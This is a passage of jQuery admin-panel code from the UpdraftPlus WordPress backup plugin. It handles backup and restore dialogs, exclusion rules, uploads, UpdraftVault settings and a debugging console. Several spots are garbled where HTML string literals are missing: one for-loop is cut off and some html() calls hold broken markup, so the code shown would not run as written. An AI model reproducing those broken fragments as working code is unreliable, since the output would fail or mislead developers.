jQuery(this).fadeIn('slow'); }); }, 1700); updraft_backupnow_go(backupnow_nodb, backupnow_nofiles, backupnow_nocloud, onlythesefileentities, {always_keep: always_keep, incremental: incremental, db_anon: { all: db_anon_all, non_staff: db_anon_non_staff, wc_orders: db_anon_wc_orders }}, jQuery('#backupnow_label').val(), onlythesetableentities, only_these_cloud_services); }; backupnow_modal_buttons[updraftlion.cancel] = function() { jQuery(this).dialog("close"); }; jQuery("#updraft-backupnow-modal").dialog({ autoOpen: false, resizeOnWindowResize: true, scrollWithViewport: true, resizeAccordingToViewport: true, useContentSize: false, open: function(event, ui) { $(this).dialog('option', 'width', 610); $(this).dialog('option', 'minHeight', 300); $(this).dialog('option', 'height', 472); }, modal: true, buttons: backupnow_modal_buttons, create: function () { $(this).closest(".ui-dialog") .find(".ui-dialog-buttonpane .ui-button").first() // the first button .addClass("js-tour-backup-now-button"); } }); jQuery("#updraft-poplog").dialog({ autoOpen: false, modal: true, resizeOnWindowResize: true, scrollWithViewport: true, resizeAccordingToViewport: true, useContentSize: false, open: function(event, ui) { $(this).dialog('option', 'width', 860); $(this).dialog('option', 'minHeight', 260); if ($(window).height() > 600) { $(this).dialog('option', 'height', 600); } else { $(this).dialog('option', 'height', $(window).height()-50); } }, }); jQuery('#updraft-navtab-settings-content .enableexpertmode').on('click', function() { jQuery('#updraft-navtab-settings-content .expertmode').fadeIn(); jQuery('#updraft-navtab-settings-content .enableexpertmode').off('click'); return false; }); jQuery('#updraft-navtab-settings-content .backupdirrow').on('click', 'a.updraft_backup_dir_reset', function() { jQuery('#updraft_dir').val('updraft'); return false; }); function setup_file_entity_exclude_field(field, instant) { if (jQuery('#updraft-navtab-settings-content #updraft_include_'+field).is(':checked')) { if (instant) { jQuery('#updraft-navtab-settings-content #updraft_include_'+field+'_exclude_container').show(); } else { jQuery('#updraft-navtab-settings-content #updraft_include_'+field+'_exclude_container').slideDown(); } } else { if (instant) { jQuery('#updraft-navtab-settings-content #updraft_include_'+field+'_exclude').hide(); } else { jQuery('#updraft-navtab-settings-content #updraft_include_'+field+'_exclude_container').slideUp(); } } } jQuery('#updraft-navtab-settings-content .updraft_include_entity').on('click', function() { var has_exclude_field = jQuery(this).data('toggle_exclude_field'); if (has_exclude_field) { setup_file_entity_exclude_field(has_exclude_field, false); } }); jQuery('.updraft_exclude_entity_container').on('click', '.updraft_exclude_entity_delete', function(event) { event.preventDefault(); if (!confirm(updraftlion.exclude_rule_remove_conformation_msg)) return; var include_entity_name = jQuery(this).data('include-backup-file'); jQuery.when( jQuery(this).closest('.updraft_exclude_entity_wrapper').remove() ).then( updraft_exclude_entity_update(include_entity_name) ); }); jQuery('.updraft_exclude_entity_container').on('click', '.updraft_exclude_entity_edit', function(event) { event.preventDefault(); var wrapper = jQuery(this).hide().closest('.updraft_exclude_entity_wrapper'); var input = wrapper.find('input'); input.prop('readonly', false).trigger('focus'); // place caret at the end of the text var input_val = input.val(); input.val(''); input.val(input_val); wrapper.find('.updraft_exclude_entity_update').addClass('is-active').show(); }); jQuery('.updraft_exclude_entity_container').on('click', '.updraft_exclude_entity_update', function(event) { event.preventDefault(); var wrapper = jQuery(this).closest('.updraft_exclude_entity_wrapper'); var include_backup_file = jQuery(this).data('include-backup-file') var exclude_item_val = wrapper.find('input').val().trim(); var should_be_updated = false; if (exclude_item_val == wrapper.find('input').data('val')) { should_be_updated = true; } else if (updraft_is_unique_exclude_rule(exclude_item_val, include_backup_file)) { should_be_updated = true; } if (should_be_updated) { jQuery(this).hide().removeClass('is-active'); jQuery.when( wrapper.find('input').prop('readonly', 'readonly').data('val', exclude_item_val) ).then(function() { wrapper.find('.updraft_exclude_entity_edit').show(); updraft_exclude_entity_update(include_backup_file); }); } }); jQuery('#updraft_exclude_modal').dialog({ autoOpen: false, modal: true, resizeOnWindowResize: true, scrollWithViewport: true, resizeAccordingToViewport: true, useContentSize: false, open: function(event,ui) { $(this).parent().trigger('focus'); $(this).dialog('option', 'width', 520); $(this).dialog('option', 'minHeight', 260); if ($(window).height() > 579) { $(this).css('height', 'auto'); } else if ($(window).height() < 580 && $(window).height() > 410) { $(this).dialog('option', 'height', 410); $(this).css('height', 'auto'); } else { $(this).dialog('option', 'height', $(window).height()-20); } } }); jQuery('#updraft_include_others_exclude_container, #updraft_include_uploads_exclude_container, .updraft_exclude_container').on('click', 'a.updraft_add_exclude_item', function(event) { event.preventDefault(); var backup_entity = jQuery(this).data('include-backup-file'); jQuery('#updraft_exclude_modal_for').val(backup_entity); jQuery('#updraft_exclude_modal_path').val(jQuery(this).data('path')); if ('uploads' == backup_entity) { jQuery('#updraft-exclude-file-dir-prefix').html(jQuery('#updraft-exclude-upload-base-dir').val()); } jQuery('.updraft-exclude-modal-reset').trigger('click'); jQuery('#updraft_exclude_modal').dialog('open'); }); jQuery('.updraft-exclude-link').on('click', function(event) { event.preventDefault(); var panel = jQuery(this).data('panel'); if ('file-dir' == panel) { jQuery('#updraft_exclude_files_folders_jstree').jstree({ "core": { "multiple": false, "data": function (nodeid, callback) { updraft_send_command('get_jstree_directory_nodes', {entity: 'filebrowser', node:nodeid, path: jQuery('#updraft_exclude_modal_path').val(), findex: 0, skip_root_node: true}, function(response) { if (response.hasOwnProperty('error')) { alert(response.error); } else { callback.call(this, response.nodes); } }, { error_callback: function(response, status, error_code, resp) { if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) { console.error(resp.fatal_error_message); jQuery('#updraft_zip_files_jstree').html('

    '+resp.fatal_error_message+'

    '); alert(resp.fatal_error_message); } else { var error_message = "updraft_send_command: error: "+status+" ("+error_code+")"; jQuery('#updraft_zip_files_jstree').html('

    '+error_message+'

    '); console.log(error_message); alert(error_message); console.log(response); } } }); }, "error": function(error) { alert(error); console.log(error); }, }, "search": { "show_only_matches": true }, "plugins": ["sort"], }); } else if ('contain-clause' == panel) { jQuery('#updraft_exclude_files_folders_wildcards_jstree').jstree({ "core": { "multiple": false, "data": function (nodeid, callback) { updraft_send_command('get_jstree_directory_nodes', {entity: 'filebrowser', directories_only: 1, node:nodeid, path: jQuery('#updraft_exclude_modal_path').val(), findex: 0, skip_root_node: 0}, function(response) { if (response.hasOwnProperty('error')) { alert(response.error); } else { callback.call(this, response.nodes); } }, { error_callback: function(response, status, error_code, resp) { if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) { console.error(resp.fatal_error_message); jQuery('#updraft_zip_files_jstree').html('

    '+resp.fatal_error_message+'

    '); alert(resp.fatal_error_message); } else { var error_message = "updraft_send_command: error: "+status+" ("+error_code+")"; jQuery('#updraft_zip_files_jstree').html('

    '+error_message+'

    '); console.log(error_message); alert(error_message); console.log(response); } } }); }, "error": function(error) { alert(error); console.log(error); }, }, "search": { "show_only_matches": true }, "plugins": ["sort"], }); } jQuery('#updraft_exclude_modal_main').slideUp(); jQuery('.updraft-exclude-panel').hide(); jQuery('.updraft-exclude-panel[data-panel='+panel+']').slideDown(); }); jQuery('.updraft-exclude-modal-reset').on('click', function(event) { event.preventDefault(); jQuery('#updraft_exclude_files_folders_jstree').jstree("destroy"); jQuery('#updraft_exclude_files_folders_wildcards_jstree').jstree("destroy"); jQuery('#updraft_exclude_extension_field').val(''); jQuery('#updraft_exclude_prefix_field').val(''); jQuery('.updraft-exclude-panel').slideUp(); jQuery('#updraft_exclude_modal_main').slideDown(); }); jQuery('.updraft-exclude-submit').on('click', function() { var panel = jQuery(this).data('panel'); var exclude_item_val = ''; switch (panel) { case 'file-dir': var exclude_jstree_selected = jQuery("#updraft_exclude_files_folders_jstree").jstree("get_selected"); if (0 == exclude_jstree_selected.length) { alert(updraftlion.exclude_select_file_or_folder_msg); return; } var selected_file_or_folder = exclude_jstree_selected[0]; var prefix_path = jQuery('#updraft_exclude_modal_path').val(); if (selected_file_or_folder.substr(0, prefix_path.length) == prefix_path) { selected_file_or_folder = selected_file_or_folder.substr(prefix_path.length, selected_file_or_folder.length); } if ('/' == selected_file_or_folder.charAt(0)) selected_file_or_folder = selected_file_or_folder.substr(1); if ('/' == selected_file_or_folder.charAt(selected_file_or_folder.length - 1)) selected_file_or_folder = selected_file_or_folder.substr(0, selected_file_or_folder.length - 1); exclude_item_val = selected_file_or_folder; break; case 'extension': var exclude_extension = jQuery('#updraft_exclude_extension_field').val(); if ('' == exclude_extension) { alert(updraftlion.exclude_type_ext_msg); return; } if (!exclude_extension.match(/^[0-9a-zA-Z]+$/)) { alert(updraftlion.exclude_ext_error_msg); return; } exclude_item_val = 'ext:'+exclude_extension; break; case 'begin-with': var prefix = jQuery('#updraft_exclude_prefix_field').val(); if ('' == prefix) { alert(updraftlion.exclude_type_prefix_msg); return; } if (!prefix.match(/^\s*[a-z-_\d,\s]+\s*$/i)) { alert(updraftlion.exclude_prefix_error_msg); return; } exclude_item_val = 'prefix:'+prefix; break; case 'contain-clause': var exclude_jstree_selected = jQuery("#updraft_exclude_files_folders_wildcards_jstree").jstree("get_selected"); if (0 == exclude_jstree_selected.length) { alert(updraftlion.exclude_select_folder_wildcards_msg); return; } var clause_val = jQuery(this).parents('div.updraft-exclude-panel').find('div.clause-input-container input').val(); jQuery(this).parents('div.updraft-exclude-panel').find('div.clause-input-container input').val(''); var clause_type = jQuery(this).parents('div.updraft-exclude-panel').find('div.clause-input-container select').val(); if ('' == clause_val) { alert(updraftlion.exclude_contain_error_msg); return; } jQuery(this).parents('div.updraft-exclude-panel').find('div.clause-input-container select option').eq(0).prop('selected', true); var selected_file_or_folder = exclude_jstree_selected[0]; var prefix_path = jQuery('#updraft_exclude_modal_path').val(); if (selected_file_or_folder.substr(0, prefix_path.length) == prefix_path) { selected_file_or_folder = selected_file_or_folder.substr(prefix_path.length, selected_file_or_folder.length); } if ('/' == selected_file_or_folder.charAt(0)) selected_file_or_folder = selected_file_or_folder.substr(1); if ('/' == selected_file_or_folder.charAt(selected_file_or_folder.length - 1)) selected_file_or_folder = selected_file_or_folder.substr(0, selected_file_or_folder.length - 1); exclude_item_val = selected_file_or_folder; if ('' !== exclude_item_val) exclude_item_val += '/'; clause_val = clause_val.replace(/\*/g, '\\*'); if ('beginning' === clause_type) { exclude_item_val += clause_val + '*'; } else if ('middle' === clause_type) { exclude_item_val += '*' + clause_val + '*'; } else if ('end' === clause_type) { exclude_item_val += '*' + clause_val; } break; default: return; } var include_backup_file = jQuery('#updraft_exclude_modal_for').val(); if (!updraft_is_unique_exclude_rule(exclude_item_val, include_backup_file)) return; var exclude_entity_html = '
    '; jQuery('.updraft_exclude_entity_container[data-include-backup-file="' + include_backup_file + '"]').append(exclude_entity_html); updraft_exclude_entity_update(include_backup_file); jQuery('#updraft_exclude_modal').dialog('close'); }); // TODO: This is suspected to be obsolete. Confirm + remove. jQuery('#updraft-navtab-settings-content .updraft-service').on('change', function() { var active_class = jQuery(this).val(); jQuery('#updraft-navtab-settings-content .updraftplusmethod').hide(); jQuery('#updraft-navtab-settings-content .'+active_class).show(); }); jQuery('#updraft-navtab-settings-content a.updraft_show_decryption_widget').on('click', function(e) { e.preventDefault(); jQuery('#updraftplus_db_decrypt').val(jQuery('#updraft_encryptionphrase').val()); jQuery('#updraft-manualdecrypt-modal').slideToggle(); }); jQuery('#updraftplus-phpinfo').on('click', function(e) { e.preventDefault(); updraft_iframe_modal('phpinfo', updraftlion.phpinfo); }); jQuery('#updraftplus-rawbackuphistory').on('click', function(e) { e.preventDefault(); updraft_iframe_modal('rawbackuphistory', updraftlion.raw); }); // + Added addons navtab jQuery('#updraft-navtab-status').on('click', function(e) { e.preventDefault(); updraft_open_main_tab('status'); updraft_page_is_visible = 1; updraft_console_focussed_tab = 'status'; // Refresh the console, as its next update might be far away updraft_activejobs_update(true); }); jQuery('#updraft-navtab-expert').on('click', function(e) { e.preventDefault(); updraft_open_main_tab('expert'); updraft_page_is_visible = 1; }); jQuery('#updraft-navtab-settings, #updraft-navtab-settings2, #updraft_backupnow_gotosettings').on('click', function(e) { e.preventDefault(); // These next two should only do anything if the relevant selector was clicked jQuery(this).parents('.updraftmessage').remove(); jQuery('#updraft-backupnow-modal').dialog('close'); updraft_open_main_tab('settings'); updraft_page_is_visible = 1; }); jQuery('#updraft-navtab-addons').on('click', function(e) { e.preventDefault(); jQuery(this).addClass('b#nav-tab-active'); updraft_open_main_tab('addons'); updraft_page_is_visible = 1; }); jQuery('#updraft-navtab-backups').on('click', function(e) { e.preventDefault(); updraft_console_focussed_tab = 'backups'; updraft_historytimertoggle(1); updraft_open_main_tab('backups'); }); jQuery('#updraft-navtab-migrate').on('click', function(e) { e.preventDefault(); jQuery('#updraft_migrate_tab_alt').html('').hide(); updraft_open_main_tab('migrate'); updraft_page_is_visible = 1; if (!jQuery('#updraft_migrate .updraft_migrate_widget_module_content').is(':visible')) { jQuery('.updraft_migrate_intro').show(); } }); if ('migrate' == updraftlion.tab) jQuery('#updraft-navtab-migrate').trigger('click'); updraft_send_command('ping', null, function(data, response) { if ('success' == response && data != 'pong' && data.indexOf('pong')>=0) { jQuery('#updraft-navtab-backups-content .ud-whitespace-warning').show(); console.log("UpdraftPlus: Extra output warning: response (which should be just (string)'pong') follows."); console.log(data); } }, { json_parse: false, type: 'GET' }); // Section: Plupload try { if (typeof updraft_plupload_config !== 'undefined') { plupload_init(); } } catch (err) { console.log(err); } function plupload_init() { // create the uploader and pass the config from above var uploader = new plupload.Uploader(updraft_plupload_config); // checks if browser supports drag and drop upload, makes some css adjustments if necessary uploader.bind('Init', function(up) { var uploaddiv = jQuery('#plupload-upload-ui'); if (up.features.dragdrop) { uploaddiv.addClass('drag-drop'); jQuery('#drag-drop-area') .on('dragover.wp-uploader', function() { uploaddiv.addClass('drag-over'); }) .on('dragleave.wp-uploader, drop.wp-uploader', function() { uploaddiv.removeClass('drag-over'); }); } else { uploaddiv.removeClass('drag-drop'); jQuery('#drag-drop-area').off('.wp-uploader'); } }); uploader.init(); // a file was added in the queue uploader.bind('FilesAdded', function(up, files) { if ($('#updraft-plupload-modal').is(':hidden')) { $('#updraft-plupload-modal').slideToggle(); } // var hundredmb = 100 * 1024 * 1024, max = parseInt(up.settings.max_file_size, 10); plupload.each(files, function(file) { // @codingStandardsIgnoreLine if (! /^backup_([\-0-9]{15})_.*_([0-9a-f]{12})-[\-a-z]+([0-9]+?)?(\.(zip|gz|gz\.crypt))?$/i.test(file.name) && ! /^log\.([0-9a-f]{12})\.txt$/.test(file.name)) { var accepted_file = false; for (var i = 0; i'+file.name+"

    "+updraftlion.notarchive2); jQuery('#updraft-message-modal').dialog('open'); } else { alert(file.name+": "+updraftlion.notarchive); } uploader.removeFile(file); return; } } // a file was added, you may want to update your DOM here... jQuery('#filelist').append( '
    ' + file.name + ' (' + plupload.formatSize(0) + '/' + plupload.formatSize(file.size) + ') ' + '
    '); }); up.refresh(); up.start(); }); uploader.bind('UploadProgress', function(up, file) { jQuery('#' + file.id + " .fileprogress").width(file.percent + "%"); jQuery('#' + file.id + " span").html(plupload.formatSize(parseInt(file.size * file.percent / 100))); if (file.size == file.loaded) { jQuery('#' + file.id).html('
    ' + file.name + ' (' + plupload.formatSize(parseInt(file.size * file.percent / 100)) + '/' + plupload.formatSize(file.size) + ') - ' + updraftlion.complete + '
    '); // Removed
    (just before closing
    ) to make clearer it's complete. jQuery('#' + file.id + " .fileprogress").width(file.percent + "%"); } }); uploader.bind('Error', function(up, error) { console.log(error); var err_makesure; if (error.code == "-200") { err_makesure = '\n'+updraftlion.makesure2; } else { err_makesure = updraftlion.makesure; } var msg = updraftlion.uploaderr+' (code '+error.code+') : '+error.message; if (error.hasOwnProperty('status') && error.status) { msg += ' ('+updraftlion.http_code+' '+error.status+')'; } if (error.hasOwnProperty('response')) { console.log('UpdraftPlus: plupload error: '+error.response); if (error.response.length < 100) msg += ' '+updraftlion.error+' '+error.response+'\n'; } msg += ' '+err_makesure; alert(msg); }); // a file was uploaded uploader.bind('FileUploaded', function(up, file, response) { if (response.status == '200') { // this is your ajax response, update the DOM with it or something... try { resp = ud_parse_json(response.response); if (resp.e) { alert(updraftlion.uploaderror+" "+resp.e); } else if (resp.dm) { alert(resp.dm); updraft_updatehistory(1, 0); } else if (resp.m) { updraft_updatehistory(1, 0); } else { alert('Unknown server response: '+response.response); } } catch (err) { console.log(response); alert(updraftlion.jsonnotunderstood); } } else { alert('Unknown server response status: '+response.code); console.log(response); } }); } // Functions in the debugging console jQuery('#updraftplus_httpget_go').on('click', function(e) { e.preventDefault(); updraftplus_httpget_go(0); }); jQuery('#updraftplus_httpget_gocurl').on('click', function(e) { e.preventDefault(); updraftplus_httpget_go(1); }); jQuery('#updraftplus_callwpaction_go').on('click', function(e) { e.preventDefault(); params = { wpaction: jQuery('#updraftplus_callwpaction').val() }; updraft_send_command('call_wordpress_action', params, function(response) { if (response.e) { alert(response.e); } else if (response.s) { // Silence } else if (response.r) { jQuery('#updraftplus_callwpaction_results').html(response.r); } else { console.log(response); alert(updraftlion.jsonnotunderstood); } }); }); function updraftplus_httpget_go(curl) { params = { uri: jQuery('#updraftplus_httpget_uri').val() }; params.curl = curl; updraft_send_command('httpget', params, function(resp) { if (resp.e) { alert(resp.e); } if (resp.r) { jQuery('#updraftplus_httpget_results').html('
    '+resp.r+'
    '); } else { console.log(resp); } }, { type: 'GET' }); } jQuery('#updraft_activejobs_table, #updraft-navtab-migrate-content').on('click', '.updraft_jobinfo_delete', function(e) { e.preventDefault(); var job_id = jQuery(this).data('jobid'); if (job_id) { $(this).addClass('disabled'); updraft_activejobs_delete(job_id); } else { console.log("UpdraftPlus: A stop job link was clicked, but the Job ID could not be found"); } }); jQuery('#updraft_activejobs_table, #updraft-navtab-backups-content .updraft_existing_backups, #updraft-backupnow-inpage-modal, #updraft-navtab-migrate-content').on('click', '.updraft-log-link', function(e) { e.preventDefault(); var file_id = jQuery(this).data('fileid'); var job_id = jQuery(this).data('jobid'); if (file_id) { updraft_popuplog(file_id); } else if (job_id) { updraft_popuplog(job_id); } else { console.log("UpdraftPlus: A log link was clicked, but the Job ID could not be found"); } }); function updraft_restore_setup(entities, key, show_data) { updraft_restore_setoptions(entities); jQuery('#updraft_restore_timestamp').val(key); jQuery('.updraft_restore_date').html(show_data); updraft_restore_stage = 1; // jQuery('#updraft-restore-modal').dialog('open'); updraft_restore_modal.open(); updraft_activejobs_update(true); } jQuery('#updraft-navtab-backups-content .updraft_existing_backups').on('click', 'button.choose-components-button', function(e) { var entities = jQuery(this).data('entities'); var backup_timestamp = jQuery(this).data('backup_timestamp'); var show_data = jQuery(this).data('showdata'); updraft_restore_setup(entities, backup_timestamp, show_data); }); /** * Get the value of a named URL parameter - https://stackoverflow.com/questions/4548487/jquery-read-query-string * * @param {string} name - URL parameter to return the value of * * @returns {string} */ function get_parameter_by_name(name) { name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]"); var regex_s = "[\\?&]"+name+"=([^&#]*)"; var regex = new RegExp(regex_s); var results = regex.exec(window.location.href); if (results == null) { return ''; } else { return decodeURIComponent(results[1].replace(/\+/g, ' ')); } } if (get_parameter_by_name('udaction') == 'initiate_restore') { var entities = get_parameter_by_name('entities'); var backup_timestamp = get_parameter_by_name('backup_timestamp'); var show_data = get_parameter_by_name('showdata'); updraft_restore_setup(entities, backup_timestamp, show_data); } var updraft_upload_modal_buttons = {}; updraft_upload_modal_buttons[updraftlion.uploadbutton] = function () { var key = jQuery('#updraft_upload_timestamp').val(); var nonce = jQuery('#updraft_upload_nonce').val(); var services = ''; var send_list = false; jQuery('.updraft_remote_storage_destination').each(function (index) { if (jQuery(this).is(':checked')) { send_list = true; } }); if (!send_list) { jQuery('#updraft-upload-modal-error').html(updraftlion.local_upload_error); return; } else { services = jQuery("input[name^='updraft_remote_storage_destination_']").serializeArray(); } jQuery(this).dialog("close"); alert(updraftlion.local_upload_started); updraft_send_command('upload_local_backup', { use_nonce: nonce, use_timestamp: key, services: services }); }; updraft_upload_modal_buttons[updraftlion.cancel] = function () { jQuery(this).dialog("close"); }; jQuery("#updraft-upload-modal").dialog({ autoOpen: false, modal: true, resizeOnWindowResize: true, scrollWithViewport: true, resizeAccordingToViewport: true, useContentSize: false, open: function(event, ui) { $(this).parent().trigger('focus'); $(this).dialog('option', 'width', 308); if (jQuery(window).height() > 460) { $(this).dialog('option', 'height', 318); } else if (jQuery(window).height() > 250 && jQuery(window).height() < 461) { $(this).dialog('option', 'height', 460); } else { $(this).dialog('option', 'height', jQuery(window).height() - 20); } }, buttons: updraft_upload_modal_buttons }); jQuery('#updraft-navtab-backups-content .updraft_existing_backups').on('click', 'button.updraft-upload-link', function (e) { e.preventDefault(); var nonce = jQuery(this).data('nonce').toString(); var key = jQuery(this).data('key').toString(); var services = jQuery(this).data('services').toString(); if (nonce) { updraft_upload(key, nonce, services); } else { console.log("UpdraftPlus: A upload link was clicked, but the Job ID could not be found"); } }); jQuery('#updraft-navtab-backups-content .updraft_existing_backups').on('click', '.updraft-load-more-backups', function (e) { e.preventDefault(); var backup_count = parseInt(jQuery('#updraft-navtab-backups-content .updraft_existing_backups .updraft_existing_backups_row').length) + parseInt(updraftlion.existing_backups_limit); updraft_updatehistory(0, 0, 0, backup_count); }); jQuery('#updraft-navtab-backups-content .updraft_existing_backups').on('click', '.updraft-load-all-backups', function (e) { e.preventDefault(); updraft_updatehistory(0, 0, 0, 9999999); }); /** * Opens the dialog box for confirmation of where to upload the backup * * @param {string} key - The UNIX timestamp of the backup * @param {string} nonce - The backup job ID * @param {string} services - A list of services that have not been uploaded to yet */ function updraft_upload(key, nonce, services) { jQuery('#updraft_upload_timestamp').val(key); jQuery('#updraft_upload_nonce').val(nonce); var services_array = services.split(","); jQuery('.updraft_remote_storage_destination').each(function (index) { var name = jQuery(this).val(); if (jQuery.inArray(name, services_array) == -1) { jQuery(this).prop('checked', false); jQuery(this).prop('disabled', true); var label = $(this).prop("labels"); jQuery(label).find('span').show(); } }); jQuery('#updraft-upload-modal').dialog('open'); } jQuery('#updraft-navtab-backups-content .updraft_existing_backups').on('click', '.updraft-delete-link', function(e) { e.preventDefault(); var hasremote = jQuery(this).data('hasremote'); var nonce = jQuery(this).data('nonce').toString(); var key = jQuery(this).data('key').toString(); if (nonce) { updraft_delete(key, nonce, hasremote); } else { console.log("UpdraftPlus: A delete link was clicked, but the Job ID could not be found"); } }); jQuery('#updraft-navtab-backups-content .updraft_existing_backups').on('click', 'button.updraft_download_button', function(e) { e.preventDefault(); var base = 'uddlstatus_'; var backup_timestamp = jQuery(this).data('backup_timestamp'); var what = jQuery(this).data('what'); var whicharea = '.ud_downloadstatus'; var set_contents = jQuery(this).data('set_contents'); var prettydate = jQuery(this).data('prettydate'); var async = true; updraft_downloader(base, backup_timestamp, what, whicharea, set_contents, prettydate, async); }); jQuery('#updraft-navtab-backups-content .updraft_existing_backups').on('dblclick', '.updraft_existingbackup_date', function (e) { e.preventDefault(); var nonce = jQuery(this).data('nonce').toString(); var timestamp = jQuery(this).data('timestamp').toString(); updraft_send_command('rawbackup_history', { timestamp: timestamp, nonce: nonce }, function (response) { if (response.hasOwnProperty('rawbackup')) { var textArea = document.createElement('textarea'); textArea.innerHTML = response.rawbackup; updraft_html_modal(textArea.value, updraftlion.raw, 780, 500); } else { updraft_html_modal(updraftlion.jsonnotunderstood, updraftlion.raw, 780, 500); } }, { type: 'POST' }); updraft_html_modal('

    '+ updraftlion.loading +'
    ', updraftlion.raw, 780, 500); }); jQuery('#backupnow_database_moreoptions').on('click', 'div.backupnow-db-tables > a', function(e) { e.preventDefault(); jQuery('> input', jQuery(this).parents('div.backupnow-db-tables')).prop('checked', false); if (jQuery(this).hasClass('backupnow-select-all-table')) { jQuery('> input', jQuery(this).parents('div.backupnow-db-tables')).prop('checked', true); } else if (jQuery(this).hasClass('backupnow-select-all-this-site')) { jQuery('> input', jQuery(this).parents('div.backupnow-db-tables')).not('[data-non_wp_table]').prop('checked', true); } }); jQuery('#updraft-restore-modal').on('click', '.updraft_restore_select_all_themes', function(e) { e.preventDefault(); jQuery('.updraft_restore_themes_options').prop('checked', true); }); jQuery('#updraft-restore-modal').on('click', '.updraft_restore_deselect_all_themes', function(e) { e.preventDefault(); jQuery('.updraft_restore_themes_options').prop('checked', false); }); jQuery('#updraft-restore-modal').on('click', '.updraft_restore_select_all_plugins', function(e) { e.preventDefault(); jQuery('.updraft_restore_plugins_options').prop('checked', true); }); jQuery('#updraft-restore-modal').on('click', '.updraft_restore_deselect_all_plugins', function(e) { e.preventDefault(); jQuery('.updraft_restore_plugins_options').prop('checked', false); }); jQuery('.updraftmessage.admin-warning-litespeed').on('click', '.notice-dismiss', function(e) { e.preventDefault(); updraft_send_command('dismiss_admin_warning_litespeed'); }); jQuery('.updraftmessage.admin-warning-pclzip').on('click', '.notice-dismiss', function(e) { e.preventDefault(); updraft_send_command('dismiss_admin_warning_pclzip'); }); function apply_search_on_db_size() { var value = jQuery('.db-search').val().toLowerCase(); jQuery(".db-size-content tr").filter(function() { jQuery(this).toggle(jQuery(this).text().toLowerCase().indexOf(value) > -1) }); } jQuery('#db_size.advanced_tools_button, .db-size-refresh').on('click', function(e) { e.preventDefault(); var $total_size = jQuery('.advanced_settings_content .advanced_tools.db_size .total-size'); var $table_body = jQuery('.advanced_settings_content .advanced_tools.db_size tbody.db-size-content'); // trigger the ajax from the 'Database size' menu only for the first time if (jQuery(this).hasClass('advanced_tools_button') && '' != $table_body.html()) { return; } $table_body.html(''); updraft_send_command('db_size', 1, function (response) { $total_size.html(response.size); $table_body.html(response.html); apply_search_on_db_size(); }); }); jQuery('.db-search').on('input', function() { apply_search_on_db_size(); }); jQuery('.db-search-clear').on('click', function(e) { e.preventDefault(); jQuery('.db-search').val(''); apply_search_on_db_size(); }); }); // UpdraftVault jQuery(function($) { var settings_css_prefix = '#updraft-navtab-settings-content '; $(settings_css_prefix+'#remote-storage-holder').on('click', '.updraftvault_backtostart', function(e) { e.preventDefault(); $(settings_css_prefix+'#updraftvault_settings_showoptions').slideUp(); $(settings_css_prefix+'#updraftvault_settings_connect').slideUp(); $(settings_css_prefix+'#updraftvault_settings_connected').slideUp(); $(settings_css_prefix+'#updraftvault_settings_default').slideDown(); }); // Prevent default event when pressing return in the form $(settings_css_prefix).on('keypress','#updraftvault_settings_connect input', function(e) { if (13 == e.which) { $(settings_css_prefix+'#updraftvault_connect_go').trigger('click'); return false; } }); $(settings_css_prefix+'#remote-storage-holder').on('click', '#updraftvault_recountquota', function(e) { e.preventDefault(); $(settings_css_prefix+'#updraftvault_recountquota').html(updraftlion.counting); try { updraft_send_command('vault_recountquota', { instance_id: $('#updraftvault_settings_connect').data('instance_id') }, function(response) { $(settings_css_prefix+'#updraftvault_recountquota').html(updraftlion.updatequotacount); if (response.hasOwnProperty('html')) { $(settings_css_prefix+'#updraftvault_settings_connected').html(response.html); if (response.hasOwnProperty('connected')) { if (response.connected) { $(settings_css_prefix+'#updraftvault_settings_default').hide(); $(settings_css_prefix+'#updraftvault_settings_connected').show(); } else { $(settings_css_prefix+'#updraftvault_settings_connected').hide(); $(settings_css_prefix+'#updraftvault_settings_default').show(); } } } }, { error_callback: function(response, status, error_code, resp) { $(settings_css_prefix+'#updraftvault_recountquota').html(updraftlion.updatequotacount); if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) { console.error(resp.fatal_error_message); alert(resp.fatal_error_message); } else { var error_message = "updraft_send_command: error: "+status+" ("+error_code+")"; console.log(error_message); alert(error_message); console.log(response); } } }); } catch (err) { $(settings_css_prefix+'#updraftvault_recountquota').html(updraftlion.updatequotacount); console.log(err); } }); $(settings_css_prefix+'#remote-storage-holder').on('click', '#updraftvault_disconnect', function(e) { e.preventDefault(); $(settings_css_prefix+'#updraftvault_disconnect').html(updraftlion.disconnecting); try { updraft_send_command('vault_disconnect', { immediate_echo: true, instance_id: $('#updraftvault_settings_connect').data('instance_id') }, function(response) { $(settings_css_prefix+'#updraftvault_disconnect').html(updraftlion.disconnect); if (response.hasOwnProperty('html')) { $(settings_css_prefix+'#updraftvault_settings_connected').html(response.html).slideUp(); $(settings_css_prefix+'#updraftvault_settings_default').slideDown(); } }, { error_callback: function(response, status, error_code, resp) { $(settings_css_prefix+'#updraftvault_disconnect').html(updraftlion.disconnect); if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) { console.error(resp.fatal_error_message); alert(resp.fatal_error_message); } else { var error_message = "updraft_send_command: error: "+status+" ("+error_code+")"; console.log(error_message); alert(error_message); console.log(response); } } }); } catch (err) { $(settings_css_prefix+'#updraftvault_disconnect').html(updraftlion.disconnect); console.log(err); } }); $(settings_css_prefix+'#remote-storage-holder').on('click', '#updraftvault_connect', function(e) { e.preventDefault(); $(settings_css_prefix+'#updraftvault_settings_default').slideUp(); $(settings_css_prefix+'#updraftvault_settings_connect').slideDown(); }); $(settings_css_prefix+'#remote-storage-holder').on('click', '#updraftvault_showoptions', function(e) { e.preventDefault(); $(settings_css_prefix+'#updraftvault_settings_default').slideUp(); $(settings_css_prefix+'#updraftvault_settings_showoptions').slideDown(); }); $('#remote-storage-holder').on('keyup', '.updraftplus_onedrive_folder_input', function(e) { var folder = $(this).val(); var td_container = $(this).closest('td') if (0 == folder.indexOf('https:') || 0 == folder.indexOf('http:')) { if (!td_container.find('.onedrive_folder_error').length) { td_container.append('
    '+updraftlion.onedrive_folder_url_warning+'
